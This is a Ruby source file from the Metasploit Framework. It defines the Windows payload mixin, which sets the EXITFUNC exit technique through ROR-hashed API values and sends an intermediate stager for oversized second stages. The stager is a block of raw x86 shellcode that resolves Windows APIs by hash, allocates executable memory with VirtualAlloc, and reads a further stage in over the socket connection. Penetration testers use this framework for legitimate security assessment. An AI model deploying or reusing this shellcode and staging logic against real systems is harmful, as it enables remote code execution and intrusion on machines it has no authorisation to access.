metasploit-framework/lib/msf/core/payload/windows.rb

require 'msf/core'

###
#
# This class is here to implement advanced variable substitution
# for windows-based payloads, such as EXITFUNC.  Windows payloads
# are expected to include this module if they want advanced
# variable substitution.
#
###
module Msf::Payload::Windows

	#
	# ROR hash associations for some of the exit technique routines.
	#
	@@exit_types =
		{
			'seh'     => 0xEA320EFE, # SetUnhandledExceptionFilter
			'thread'  => 0x0A2A1DE0, # ExitThread
			'process' => 0x56A2B5F0, # ExitProcess
			'none'    => 0x5DE2C5AA, # GetLastError
		}

	#
	# This mixin is chained within payloads that target the Windows platform.
	# It provides special variable substitution for things like EXITFUNC and
	# automatically adds it as a required option for exploits that use windows
	# payloads.
	#
	def initialize(info = {})
		ret = super( info )

		# All windows payload hint that the stack must be aligned to nop
		# generators and encoders.
		if( info['Arch'] == ARCH_X86_64 )
			if( info['Alias'] )
				info['Alias'] = 'windows/x64/' + info['Alias']
			end
			merge_info( info, 'SaveRegisters' => [ 'rsp' ] )
		elsif( info['Arch'] == ARCH_X86 )
			if( info['Alias'] )
				info['Alias'] = 'windows/' + info['Alias']
			end
			merge_info( info, 'SaveRegisters' => [ 'esp' ] )
		end

		#if (info['Alias'])
		#	info['Alias'] = 'windows/' + info['Alias']
		#end

		register_options(
			[
				Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ])
			], Msf::Payload::Windows )

		ret
	end

	#
	# Replace the EXITFUNC variable like madness
	#
	def replace_var(raw, name, offset, pack)
		if (name == 'EXITFUNC')
			method = datastore[name]
			method = 'thread' if (!method or @@exit_types.include?(method) == false)

			raw[offset, 4] = [ @@exit_types[method] ].pack(pack || 'V')

			return true
		end

		return false
	end

	#
	# For windows, we check to see if the stage that is being sent is larger
	# than a certain size.  If it is, we transmit another stager that will
	# ensure that the entire stage is read in.
	#
	def handle_intermediate_stage(conn, payload)
		if( self.module_info['Stager']['RequiresMidstager'] == false )
			conn.put( [ payload.length ].pack('V') )
			# returning false allows stager.rb!handle_connection() to prepend the stage_prefix if needed
			return false
		end

		return false if (payload.length < 512)

		# The mid-stage works by reading in a four byte length in host-byte
		# order (which represents the length of the stage). Following that, it
		# reads in the entire second stage until all bytes are read. It reads the
		# data into a buffer which is allocated with VirtualAlloc to avoid running
		# out of stack space or NX problems.
		# See the source file: /external/source/shellcode/windows/midstager.asm
		midstager =
			"\xfc\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x50\x1c\x8b\x12\x8b" +
			"\x72\x20\xad\xad\x4e\x03\x06\x3d\x32\x33\x5f\x32\x0f\x85\xeb\xff" +
			"\xff\xff\x8b\x6a\x08\x8b\x45\x3c\x8b\x4c\x05\x78\x8b\x4c\x0d\x1c" +
			"\x01\xe9\x8b\x71\x3c\x01\xee\x60\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b" +
			"\x5b\x14\x8b\x73\x28\x6a\x18\x59\x31\xff\x31\xc0\xac\x3c\x61\x7c" +
			"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x81\xff\x5b\xbc\x4a\x6a" +
			"\x8b\x6b\x10\x8b\x1b\x75\xdb\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef" +
			"\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0" +
			"\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x81\xfa\x54" +
			"\xca\xaf\x91\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f" +
			"\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x08\x61\x89\xe3\x6a" +
			"\x00\x6a\x04\x53\x57\xff\xd6\x8b\x1b\x6a\x40\x68\x00\x30\x00\x00" +
			"\x53\x6a\x00\xff\xd5\x89\xc5\x55\x6a\x00\x53\x55\x57\xff\xd6\x01" +
			"\xc5\x29\xc3\x85\xdb\x75\xf1\xc3"

		# Prepend the stage prefix as necessary, such as a tag that is needed to
		# find the socket
		midstager = (self.stage_prefix || '') + midstager

		print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")

		# Transmit our intermediate stager
		conn.put(midstager)

		# Sleep to give enough time for the remote side to receive and read the
		# midstage so that we don't accidentally read in part of the second
		# stage.
		Rex::ThreadSafe.sleep(1.5)

		# The mid-stage requires that we transmit a four byte length field that
		# it will use as the length of the subsequent stage.
		conn.put([ payload.length ].pack('V'))

		return true
	end

end